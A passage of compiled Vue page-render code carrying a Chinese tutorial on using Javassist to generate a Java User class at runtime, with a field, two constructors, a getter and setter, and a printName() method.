punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("get")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"java.lang.String"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nconstructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"$0.name = $1;"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("constructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br")])]),t("p",[s._v("添加有参构造方法的整体流程和添加无参构造方法的整体流程相同,只是在创建CtConstructor对象时,在CtConstructor的构造方法的第一个参数类型数组中使用"),t("code",[s._v('pool.get("java.lang.String")')]),s._v("添加了一个数组元素,表示生成的目标类的构造方法存在一个String类型的参数。")]),s._v(" "),t("p",[s._v("另外,在设置方法体时,使用了如下代码。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[s._v("$"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" $"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("p",[s._v("表示将构造方法的第一个参数赋值给成员变量name。这里,"),t("code",[s._v("$0")]),s._v(" 表示 "),t("code",[s._v("this")]),s._v(", "),t("code",[s._v("$1")]),s._v(" 表示第一个参数,"),t("code",[s._v("$2")]),s._v("表示第二个参数,以此类推。")]),s._v(" "),t("p",[s._v("这段代码的效果如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("User")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("h3",{attrs:{id:"添加get-set方法"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#添加get-set方法"}},[s._v("#")]),s._v(" 添加get/set方法")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//5.添加getter和setter方法")]),s._v("\nctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtNewMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setter")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"setName"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtNewMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getter")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"getName"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("添加get/set方法就比较简单了,直接使用CtClass的addMethod()添加,使用CtNewMethod的setter()方法生成set方法,其中,第一个参数为生成的方法的名称setName,第二个参数表示是为哪个字段生成setName方法。")]),s._v(" "),t("p",[s._v("使用CtNewMethod的getter()方法生成get()方法,第一个参数为生成的方法的名称getName,第二个参数表示是为哪个字段生成getName方法。")]),s._v(" "),t("p",[s._v("这段代码的效果如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br")])]),t("h3",{attrs:{id:"添加printname-方法"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#添加printname-方法"}},[s._v("#")]),s._v(" 添加printName()方法")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//6.创建一个输出name的方法")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtMethod")]),s._v(" ctMethod "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("voidType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"printName"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setModifiers")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Modifier")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PUBLIC")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"System.out.println(name);"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br")])]),t("p",[s._v("添加printName()方法使用了Javassist中的CtMethod类,创建CtMethod类的对象时,第一个参数为方法的返回类型,第二个参数为方法的名称printName,第三个参数为方法的参数类型数组,第四个参数表示将生成的方法添加到哪个类。")]),s._v(" "),t("p",[s._v("接下来,调用CtMethod的setModifiers()方法来设置printName()方法的访问修饰符,这里将其设置为public。紧接着为printName()方法设置方法体,在方法体中简单的在命令行打印成员变量name。")]),s._v(" "),t("p",[s._v("最后通过CtClass的addMethod()方法将生成的printName方法添加到User类中。")]),s._v(" "),t("p",[s._v("这段代码的效果如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("printName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("h2",{attrs:{id:"完整案例"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#完整案例"}},[s._v("#")]),s._v(" 完整案例")]),s._v(" "),t("p",[s._v("为了方便小伙伴们更加清晰的看到完整的源代码,这里我也将完整的源代码贴出来,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe (公众号:冰河技术)\n * @version 1.0.0\n * @description 使用Javassist生成一个User类, 并测试\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CreateUserClass")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 使用Javassist创建一个User对象\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("createUser")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throws")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//使用默认的ClassPool")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClassPool")]),s._v(" pool "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClassPool")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getDefault")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//1.创建一个空类")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),s._v(" ctClass "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("makeClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.bytecode.javassist.bean.User"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//2.新增一个字段 private String name; 字段的名称为name")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtField")]),s._v(" param "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtField")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("get")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"java.lang.String"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"name"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置访问修饰符为private")]),s._v("\n param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setModifiers")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Modifier")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PRIVATE")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置字段的初始值为binghe")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addField")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtField"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("Initializer")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("constant")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//3.添加无参的构造函数")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtConstructor")]),s._v(" constructor "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n constructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('" $0.name = \\"binghe\\"; "')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("constructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//4.添加有参构造函数")]),s._v("\n constructor "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("get")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"java.lang.String"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n constructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"$0.name = $1;"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("constructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//5.添加getter和setter方法")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtNewMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setter")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"setName"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token 